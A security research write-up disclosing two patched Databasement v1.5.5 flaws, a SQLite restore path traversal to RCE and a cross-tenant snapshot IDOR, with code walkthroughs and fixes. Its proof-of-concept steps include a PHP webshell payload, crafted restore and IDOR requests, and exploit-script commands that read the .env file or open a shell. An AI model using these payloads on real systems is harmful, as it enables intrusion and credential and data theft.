Breaking Databasement: From IDOR to RCE in a Backup Management Platform
Two high-severity vulnerabilities in Databasement v1.5.5 chain together for full server compromise via cross-tenant data exfiltration and remote code execution.
| Field | Details |
|---|---|
| Target | Databasement v1.5.5 |
| Date | July 2026 |
| Researchers | @bytejmp, @d0c84 |
| Advisories | GHSA-x225-463f-pgww, GHSA-vx6q-v2gv-5fhv |
| Patched in | v1.7.2 |
Databasement is an open-source Laravel application for managing database server backups. It supports MySQL, PostgreSQL, MariaDB, SQLite, Redis, MongoDB, SQL Server, and Firebird, with features like scheduled backups, cross-server restores, and multi-tenant organization isolation.
During our security research, we identified two high-severity vulnerabilities that, when chained, allow an authenticated user to exfiltrate data from all tenants and achieve remote code execution on the server.
All findings were validated dynamically against a running v1.5.5 instance. Both vulnerabilities have been patched in v1.7.2 and the security advisories were published on August 4, 2026. See GHSA-x225-463f-pgww (path traversal RCE) and GHSA-vx6q-v2gv-5fhv (snapshot IDOR).
TL;DR
Two high-severity vulnerabilities in Databasement v1.5.5 chain together for full server compromise:
| # | Finding | Severity | CWE | Advisory |
|---|---|---|---|---|
| 1 | SQLite restore path traversal, write webshell to webroot via schema_name → RCE | High (8.0) | CWE-22 | GHSA-x225-463f-pgww |
| 2 | Snapshot IDOR, API leaks all tenants' snapshots (missing OrganizationScope) | High (8.8) | CWE-284 | GHSA-vx6q-v2gv-5fhv |
Bottom line: An authenticated user can exfiltrate all tenants' backup data via IDOR and achieve remote code execution via SQLite path traversal.
1. Remote Code Execution via SQLite Restore Path Traversal
| Field | Details |
|---|---|
| Advisory | GHSA-x225-463f-pgww |
| Severity | High |
| CVSS | 8.0 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Affected versions | >= 1.2.0, < 1.7.2 |
| Patched in | v1.7.2 |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
The Bug
When restoring a SQLite snapshot, the schema_name parameter specifies the destination file path. This value passes through the entire restore pipeline, from API input to RestoreTask to copy(), without any path validation. An attacker can write arbitrary files anywhere the application user has access.
When combined with a malicious SQLite database containing a PHP webshell embedded in a text column, this becomes a one-request RCE.
Vulnerable Code Walkthrough
The vulnerability spans four layers. Let's trace the data flow from user input to file write.
Layer 1 — Input validation (or lack thereof). The RestoreRequest delegates validation to DatabaseType::databaseNameRules():
// app/Http/Requests/Api/V1/RestoreRequest.php:29-32
public function rules(): array
{
$server = $this->route('database_server');
return [
'snapshot_id' => ['required', 'string', 'exists:snapshots,id'],
'schema_name' => $server->database_type->databaseNameRules(),
];
}
For SQLite, the rules are effectively non-existent:
// app/Enums/DatabaseType.php:161-168
public function databaseNameRules(): array
{
return match ($this) {
self::SQLITE => ['required', 'string', 'max:255'], // Any string up to 255 chars -- no path restriction
self::FIREBIRD => ['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9_\/\\\\.\-: ]+$/'],
default => ['required', 'string', 'max:64', 'regex:/^[a-zA-Z0-9_]+$/'],
};
}
Other database types enforce regex:/^[a-zA-Z0-9_]+$/, alphanumeric and underscores only. SQLite has no format restriction. Paths like /app/public/shell.php or ../../../../etc/cron.d/backdoor pass validation.
Layer 2 — The API controller passes the value straight through. No sanitization occurs between validation and job dispatch:
// app/Http/Controllers/Api/V1/DatabaseServerController.php:195-221
public function restore(
RestoreRequest $request,
DatabaseServer $databaseServer,
BackupJobFactory $backupJobFactory
): JsonResponse {
$this->authorize('restore', $databaseServer);
$snapshot = Snapshot::findOrFail($request->validated('snapshot_id'));
$restore = $backupJobFactory->createRestore(
snapshot: $snapshot,
targetServer: $databaseServer,
schemaName: $request->validated('schema_name'), // User input passed directly
triggeredByUserId: $userId
);
ProcessRestoreJob::dispatch($restore->id);
// ...
}
Layer 3 — RestoreTask uses it as-is. The schemaName from RestoreConfig DTO flows into prepareDatabase() and restore():
// app/Services/Backup/RestoreTask.php:80-97
$database = $this->databaseProvider->makeFromConfig(
$target,
$config->schemaName, // Attacker-controlled path
$this->getConnectionHost($target),
$this->getConnectionPort($target),
// ...
);
$this->prepareDatabase($database, $config->schemaName, $logger, $config->forceDatabase);
// ...
$result = $database->restore($workingFile);
Layer 4 — SqliteDatabase::restore() writes the file via copy(). The sqlite_path config value, derived from schemaName, becomes the destination of a raw file copy:
// app/Services/Backup/Databases/SqliteDatabase.php:147-180
public function restore(string $inputPath): DatabaseOperationResult
{
// ... SFTP branch omitted ...
$targetPath = $this->config['sqlite_path']; // Attacker-controlled destination
if (! @copy($inputPath, $targetPath)) { // Arbitrary file write
throw new RestoreException("Failed to copy SQLite file {$inputPath} to {$targetPath}");
}
chmod($targetPath, 0640);
return new DatabaseOperationResult(log: new DatabaseOperationLog(
'Restored local SQLite database',
'success',
['path' => $this->config['sqlite_path']],
));
}
The same vulnerability exists in the Livewire restore flow at app/Livewire/Restore/Modal.php:270-276, which also passes the schema_name directly without applying the existing SafePath validation rule that protects other path parameters in the application.
And prepareForRestore() is a no-op for SQLite. It doesn't validate the path either:
// app/Services/Backup/Databases/SqliteDatabase.php:182-185
public function prepareForRestore(string $schemaName, BackupLogger $logger, bool $forceDatabase = false): void
{
// SQLite doesn't need database preparation — the file is replaced during restore
}
The Attack Chain
Step 1 — Create the malicious SQLite database:
CREATE TABLE payload(code TEXT);
INSERT INTO payload VALUES('<?php system($_GET["c"]); ?>');
When this .db file is later written with a .php extension into the web root, the PHP tag inside the text column becomes executable. SQLite files are binary, but PHP's parser ignores binary noise before <?php.
Step 2 — Upload via SFTP backup:
Register a database server pointing to the malicious SQLite file and back it up to a volume. This creates a legitimate snapshot containing the weaponized database.
Step 3 — Restore with path traversal:
POST /api/v1/database-servers/<sqlite_server_id>/restore HTTP/1.1
Host: localhost
Authorization: Bearer <token>
Content-Type: application/json
{
"snapshot_id": "<malicious_snapshot_id>",
"schema_name": "/app/public/pwned.php"
}
Response:
{
"message": "Restore started successfully!",
"restore": {
"schema_name": "/app/public/pwned.php",
"job": {"status": "pending"}
}
}
The queue worker processes the restore. At SqliteDatabase.php:170, copy() writes the malicious SQLite file to /app/public/pwned.php.
Step 4 — Execute commands:
GET /pwned.php?c=id HTTP/1.1
Host: localhost
uid=1000(application) gid=1000(application) groups=1000(application)
Full OS command execution as the application user. From here, reading /app/.env dumps database credentials, API keys, and the APP_KEY used for encryption.
Impact
- Remote code execution as the application user
- Full server compromise: read
.env, access databases, pivot to internal network - Can be chained with Finding #2 (IDOR) to use victim snapshots as the payload vector
Remediation
- Add path validation to
DatabaseType::databaseNameRules()for SQLite. Reject absolute paths,..sequences, and null bytes:
// app/Enums/DatabaseType.php — databaseNameRules()
self::SQLITE => [
'required', 'string', 'max:255',
'regex:/^[a-zA-Z0-9_\/.\-]+$/', // Restrict character set
function ($attribute, $value, $fail) {
if (str_starts_with($value, '/')) {
$fail('Absolute paths are not allowed.');
}
if (str_contains($value, '..')) {
$fail('Path traversal sequences are not allowed.');
}
},
],
- In
SqliteDatabase::restore(), resolve the target path against a whitelisted base directory and verify it stays within bounds:
// app/Services/Backup/Databases/SqliteDatabase.php — restore()
$targetPath = realpath(dirname($this->config['sqlite_path']))
. '/' . basename($this->config['sqlite_path']);
$allowedBase = config('backup.sqlite_base_path', '/data');
if (!str_starts_with($targetPath, $allowedBase)) {
throw new RestoreException("Target path outside allowed directory");
}
- Consider a dedicated
SqliteDatabaseNameRuleclass to centralize this validation and reuse it across both the API and Livewire restore flows.
2. Cross-Tenant Data Exfiltration via Snapshot IDOR
| Field | Details |
|---|---|
| Advisory | GHSA-vx6q-v2gv-5fhv |
| Severity | High |
| CVSS | 8.8 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Affected versions | >= 1.2.0, < 1.7.2 |
| Patched in | v1.7.2 |
| CWE | CWE-284 — Improper Access Control |
The Bug
Databasement is a multi-tenant application where organizations are isolated from each other. Each model is scoped through a global OrganizationScope that filters queries to the current user's organization. The Snapshot model, however, lacks this scope entirely.
Any authenticated user, regardless of role or organization, can list and access every snapshot in the system through the API.
Vulnerable Code Walkthrough
The pattern every other model follows. DatabaseServer registers the scope in its booted() method:
// app/Models/DatabaseServer.php:48-50
protected static function booted(): void
{
static::addGlobalScope(new OrganizationScope); // Tenant isolation enforced
}
Volume does the same:
// app/Models/Volume.php:27-29
protected static function booted(): void
{
static::addGlobalScope(new OrganizationScope); // Tenant isolation enforced
}
But Snapshot does not. Its booted() method only handles cascade deletes. It never registers the scope:
// app/Models/Snapshot.php:157-173
protected static function booted(): void
{
// Delete the backup file, associated restores and job when snapshot is deleted
static::deleting(function (Snapshot $snapshot) {
if (! $snapshot->skipFileCleanup) {
$snapshot->deleteBackupFile();
}
foreach ($snapshot->restores as $restore) {
$restore->delete();
}
$snapshot->job->delete();
});
// MISSING: static::addGlobalScope(new OrganizationScope);
}
Note that the import exists at line 8 (use App\Models\Scopes\OrganizationScope;), but it's only referenced in a manual query scope at line 186, never as a global scope. This suggests the developer was aware of the scope but didn't apply it.
The API controller doesn't compensate. SnapshotController delegates to SnapshotQuery::make() for listing:
// app/Http/Controllers/Api/V1/SnapshotController.php:20-27
public function index(Request $request): AnonymousResourceCollection
{
$perPage = min($request->integer('per_page', 15), 100);
$snapshots = SnapshotQuery::make()->paginate($perPage); // No organization filter applied
return SnapshotResource::collection($snapshots);
}
And SnapshotQuery::make() builds the query without any organization filter:
// app/Queries/SnapshotQuery.php:34-57
public static function make(): QueryBuilder
{
return QueryBuilder::for(Snapshot::class) // MISSING: ->forCurrentOrg()
->with(self::RELATIONSHIPS)
->allowedFilters(...)
->defaultSort('-started_at');
}
Interestingly, the Livewire version (buildFromParams) does apply the org filter:
// app/Queries/SnapshotQuery.php:73-76
$query = Snapshot::query()
->with(self::RELATIONSHIPS);
$query->forCurrentOrg(); // Present only in the Livewire path
This means the web UI is scoped correctly, but the API is wide open. The show() action is equally unprotected. It uses Laravel's route model binding which resolves the snapshot globally:
// app/Http/Controllers/Api/V1/SnapshotController.php:32-37
public function show(Snapshot $snapshot): SnapshotResource
{
$snapshot->load(['databaseServer', 'backup', 'volume', 'triggeredBy', 'job']);
return new SnapshotResource($snapshot);
// No ownership check -- any user can access any snapshot by ID
}
Proof of Concept
Setup: Two organizations exist, "Default" and "Org Victim". The attacker ([email protected]) belongs only to "Default". Org Victim has snapshots containing sensitive databases like secret_production_db and victim_secret_data.
Step 1 — List all snapshots across all tenants:
GET /api/v1/snapshots HTTP/1.1
Host: localhost
Authorization: Bearer <attacker_token>
Accept: application/json
Response:
{
"data": [
{"id": "01ks1f717gr0rhc0q38x8jhsdq", "database_name": "secret_production_db"},
{"id": "01KS1H9T57P4RGMCWC0PFYND4M", "database_name": "victim_secret_data"},
{"id": "01KS1J7YEATDN4T8DBP5YTS22C", "database_name": "internal_reports"},
{"id": "01ks1hryzxw6zhxwszt549n5s1", "database_name": "databasement"}
]
}
The attacker sees all 10 snapshots, including 3 from Org Victim. No authorization boundary exists.
Step 2 — Access a victim's snapshot directly:
GET /api/v1/snapshots/01ks1f717gr0rhc0q38x8jhsdq HTTP/1.1
Host: localhost
Authorization: Bearer <attacker_token>
Returns full snapshot metadata including database server ID, backup configuration, and file location. Combined with the restore endpoint, the attacker could restore victim data to their own server.
Impact
- Full enumeration of all tenants' backup metadata
- Download full database backups containing PII and credentials across tenant boundaries
- Cross-tenant data exfiltration via restore to attacker-controlled server
- Delete or restore snapshots belonging to other organizations
- Violation of tenant isolation, the core security boundary of a multi-tenant SaaS
- Compliance implications for SOC2, GDPR, and HIPAA requirements
The scope extends beyond the API: Livewire components also use unscoped Snapshot::findOrFail() calls, and policy methods viewAny() and view() return true unconditionally, meaning no authorization layer compensates for the missing scope.
Remediation
- Register the global scope in
Snapshot::booted():
// app/Models/Snapshot.php — add inside booted()
static::addGlobalScope(new OrganizationScope);
- Add
->forCurrentOrg()toSnapshotQuery::make()to match the Livewire path:
// app/Queries/SnapshotQuery.php — SnapshotQuery::make()
return QueryBuilder::for(Snapshot::forCurrentOrg())
- Add an ownership check in
SnapshotController::show()to prevent direct access by ID:
// app/Http/Controllers/Api/V1/SnapshotController.php
public function show(Snapshot $snapshot): SnapshotResource
{
$this->authorize('view', $snapshot); // Add policy check
// ...
}
Attack Chain: From IDOR to RCE
These findings chain together for full server compromise:
Authenticated User (Member or Admin)
|
|--[Finding #2]----> IDOR -> enumerate + access all tenants' snapshots
| |
| \---> Download cross-tenant backup files (PII, credentials)
|
\--[Finding #1]----> Path traversal restore -> write webshell -> RCE
|
\---> Read /app/.env -> DB credentials, APP_KEY
\---> Full server compromise, lateral movement
An authenticated user can exfiltrate all tenants' backup data and achieve remote code execution on the server.
Exploit — databasement_pwn.py
The exploit automates the SQLite path traversal to RCE chain. It locates a SQLite server and snapshot, restores it to the web root with a .php extension, and provides command execution or an interactive shell. No external dependencies (stdlib only).
python3 databasement_pwn.py -t http://target -u [email protected] -p password --command "id"
python3 databasement_pwn.py -t http://target -u [email protected] -p password --command "cat /app/.env"
python3 databasement_pwn.py -t http://target -u [email protected] -p password --shell
Conclusion
This research reinforces patterns we see repeatedly in web application security, and some that are specific to multi-tenant architectures.
Key Takeaways
1. Multi-tenancy is an all-or-nothing boundary. A single model missing a global scope breaks tenant isolation for the entire system. The Snapshot model had the OrganizationScope import but never registered it, a one-line omission that exposed every tenant's backup metadata. In multi-tenant systems, tenant scoping should be enforced at the framework level (middleware, base model, or query builder), not left to individual models to opt into. If one model can forget, one model will.
2. API and UI authorization must be symmetric. The Livewire (web UI) path correctly applied forCurrentOrg(), but the API path did not. This is a common pattern when APIs are added after the UI. The new code path doesn't inherit the same guards. Every authorization check needs to live in the model or policy layer, not in the controller, so it applies regardless of entry point.
3. File path handling is a trust boundary. SQLite's schema_name parameter became an arbitrary file write primitive because it was treated as a database name (like MySQL's testdb) rather than what it actually is: a filesystem path. When a user-controlled value touches copy(), file_put_contents(), or any file operation, it must be validated against a whitelist of allowed directories. The validation rules for other database types (regex:/^[a-zA-Z0-9_]+$/) show the developer understood input restriction, they just didn't apply it to SQLite. The application already had a SafePath validation rule for other parameters, it just wasn't applied to the SQLite restore path.
4. Version resets don't fix vulnerabilities. Between our initial research and publication, the repository was reset from v2.5.x back to v1.0.0 and re-tagged to v1.5.5. Both vulnerabilities persisted across this reset. A version number change is not a security patch. The vulnerable code must actually be modified.
References
CWE References
- CWE-284: Improper Access Control
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
GitHub Security Advisories
- GHSA-x225-463f-pgww: SQLite Restore Path Traversal to RCE (CVSS 8.0)
- GHSA-vx6q-v2gv-5fhv: Cross-Tenant Snapshot IDOR (CVSS 8.8)
OWASP
- OWASP API Security Top 10: BOLA (Broken Object Level Authorization)
- OWASP Testing Guide: Path Traversal
- OWASP Testing Guide: IDOR
Laravel Security
- Laravel Documentation: Global Scopes
- Laravel Documentation: Authorization (Policies)
- Laravel Documentation: Validation